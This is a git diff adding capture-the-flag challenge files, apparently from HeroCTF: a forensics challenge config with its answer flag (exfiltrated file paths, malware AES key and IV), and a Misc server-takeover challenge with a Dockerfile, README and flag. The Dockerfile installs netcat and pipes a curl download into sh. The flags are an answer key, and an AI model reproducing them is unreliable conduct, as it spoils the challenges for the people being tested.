+The password for the 7z is : 5HF8dnXIW4uHWztCWHMBrmaVcIQLch3PlCWoEWYPhFKVugAbPJ
+
+Could you find :
+ - Path of the exfiltred files
+ - AES Key of the malware
+ - IV of the malware
+
+Format : **Hero{C:\\file1:C:\\file2:C:\\fileN:thisisthekey!!!!:thisistheiv!!!!!}**
+Author : **Worty**"
+
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{C:\\Users\\dev\\Downloads\\personal.docx:C:\\Users\\dev\\Downloads\\passwords.docx:youwontseeitcome:wellmakeyoufall_}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - forensic
+
+requirements:
+ - "dev.corp 3/4"
+ - "dev.corp 2/4"
+ - "dev.corp 1/4"
+
+state: visible
+version: "0.1"
diff --git a/Misc/.gitkeep b/Misc/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/Misc/I_Use_Zsh_Btw/Dockerfile b/Misc/I_Use_Zsh_Btw/Dockerfile
new file mode 100644
index 0000000..e5b9c06
--- /dev/null
+++ b/Misc/I_Use_Zsh_Btw/Dockerfile
@@ -0,0 +1,29 @@
+FROM node:latest
+RUN apt update && \
+ apt install zsh cron netcat expect sudo -y
+COPY ./flag.txt /
+COPY node /var/spool/cron/crontabs/
+RUN crontab /var/spool/cron/crontabs/node
+
+WORKDIR /usr/src/app
+COPY run.sh /home/node/
+RUN chmod 777 /home/node/run.sh
+RUN chown -R node:node /usr/src/app
+USER node
+COPY look_at_user.sh /home/node/
+COPY package*.json ./
+USER root
+RUN chmod 777 /home/node/look_at_user.sh && \
+ echo "y" | sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" && \
+ npm i && \
+ cp /root/.zshrc /home/node/ && \
+ chown node:node /home/node/.zshrc && \
+ cp -r /root/.oh-my-zsh/ /home/node/ && \
+ chown -R node:node /home/node/.oh-my-zsh/ && \
+ chsh -s /bin/zsh node
+USER node
+RUN mkdir data
+COPY index.js .
+EXPOSE 3000
+USER root
+CMD ["bash","/home/node/run.sh"]
\ No newline at end of file
diff --git a/Misc/I_Use_Zsh_Btw/README.md b/Misc/I_Use_Zsh_Btw/README.md
new file mode 100644
index 0000000..fa97a78
--- /dev/null
+++ b/Misc/I_Use_Zsh_Btw/README.md
@@ -0,0 +1,19 @@
+# I use ZSH btw
+
+### Category
+
+Misc
+
+### Description
+
+A new platform to temporaly store your file has open !
+
+However, it seems that the administrator often goes into the anonymous folders (from an SSH access) of people to see what they upload, you have to stop that! Take control of the server.
+
+### Write Up
+
+See solve.py in solve
+
+### Flag
+
+Hero{rc3_w1th_3v1l_fsm0n1t0r_!!}
\ No newline at end of file
diff --git a/Misc/I_Use_Zsh_Btw/challenge.yml b/Misc/I_Use_Zsh_Btw/challenge.yml
new file mode 100644
index 0000000..e818b79
--- /dev/null
+++ b/Misc/I_Use_Zsh_Btw/challenge.yml
@@ -0,0 +1,34 @@
+---
+name: I_Use_zsh_BTW
+author: Worty
+category: Misc
+description: "A new platform to temporaly store your file has open !
+
+However, it seems that the administrator often goes into the anonymous folders (from an SSH access) of people to see what they upload, you have to stop that! Take control of the server.
+> Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/)
+